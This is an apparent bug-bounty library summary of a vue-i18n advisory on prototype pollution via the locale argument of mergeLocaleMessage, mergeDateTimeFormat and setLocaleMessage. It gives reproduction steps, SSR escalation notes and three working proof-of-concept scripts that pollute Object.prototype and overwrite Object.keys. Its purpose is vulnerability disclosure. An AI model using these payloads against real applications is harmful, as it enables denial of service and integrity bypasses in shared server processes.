# Vue I18n: Prototype Pollution via the `locale` argument of `mergeLocaleMessage`, `mergeDateTimeFormat` and `mergeNumberFormat`

vue-i18n merge/set locale methods index containers with attacker-controlled locale, letting '__proto__' or 'constructor' pollute Object.prototype or overwrite Object.keys.

- Payout: Research
- Severity: high
- Program: vue-i18n
- Found by: kazupon
- Disclosed: 2026-12-04
- CVE: CVE-2026-144409
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mp7h-j8pr-w35w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mp7h-j8pr-w35w
- Tags: area:oss domain:oss domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:prototype-pollution

**Target:** vue-i18n composer merge/set locale APIs (mergeLocaleMessage, mergeDateTimeFormat, mergeNumberFormat, setters)
**Root cause:** Methods look up the merge destination with `container[locale]`; inherited Object.prototype properties (e.g. `__proto__`, `constructor`, `toString`) are returned and then written into by deepCopy/assign, or the `__proto__` setter replaces the container's prototype.
**Steps:**
1. Install `vue-i18n@11.4.13` and create `createI18n({ legacy: false, locale: 'en', messages: { en: {} } })`.
2. Call `i18n.global.mergeLocaleMessage('__proto__', { pollutedKey: 123 })`; observe `JSON.stringify({}.__proto__)` becomes `{"pollutedKey":123}`.
3. Call `i18n.global.mergeDateTimeFormat('constructor', { keys: { year: 'numeric' } })`; `typeof Object.keys` flips from function to object and `Object.keys({})` throws.
4. Call `i18n.global.setLocaleMessage('__proto__', { ja: { hello: 'injected' } })`; `i18n.global.t('hello')` returns `injected` via inherited prototype messages.
**How found:** Noticed the merge destination is fetched via `container[locale]` on a plain object, so inherited Object.prototype members are reachable; prior fix for CVE-2024-52810 only guarded deepCopy's source, not its destination.
**Exploitation:** Attacker controls the locale (URL param, cookie, Accept-Language) or keys of useI18n global options; passing '__proto__' pollutes Object.prototype for all objects including SSR process-wide, 'constructor' overwrites global Object methods like Object.keys, and setLocaleMessage('__proto__') injects fallback messages for locales lacking their own across instances sharing the object.
**Escalation:** SSR: pollution persists across later requests in the same process; gadget-dependent DoS, bypassed checks, or worse.
**Insight:** When auditing merge/set APIs keyed by user input, test inherited property names ('__proto__', 'constructor', 'toString') as keys — a fix that sanitizes the source object often leaves the destination lookup unguarded.

## Proof of concept (copied exactly from the original report)

**mergeLocaleMessage('__proto__') pollutes Object.prototype**

```
// poc.mjs
import { createI18n } from 'vue-i18n'

const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })

// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
const lang = '__proto__'

console.log('Before Attack: ', JSON.stringify({}.__proto__))
i18n.global.mergeLocaleMessage(lang, { pollutedKey: 123 })
console.log('After Attack: ', JSON.stringify({}.__proto__))

delete Object.prototype.pollutedKey
```

**mergeDateTimeFormat('constructor') replaces Object.keys**

```
// poc-constructor.mjs
import { createI18n } from 'vue-i18n'

const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })

// e.g. a locale taken from a URL parameter such as `?lang=constructor`
const lang = 'constructor'

console.log('Before Attack: ', typeof Object.keys)
i18n.global.mergeDateTimeFormat(lang, { keys: { year: 'numeric' } })
console.log('After Attack: ', typeof Object.keys)

try {
  Object.keys({})
} catch (error) {
  console.log(String(error))
}
```

**setLocaleMessage('__proto__') injects fallback messages**

```
// poc-set.mjs
import { createI18n } from 'vue-i18n'

const i18n = createI18n({
  legacy: false,
  locale: 'ja',
  fallbackLocale: 'en',
  missingWarn: false,
  fallbackWarn: false,
  messages: { en: { hello: 'hello' } }
})

console.log('Before Attack: ', i18n.global.t('hello'))
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
i18n.global.setLocaleMessage('__proto__', { ja: { hello: 'injected' } })
console.log('After Attack: ', i18n.global.t('hello'))
```

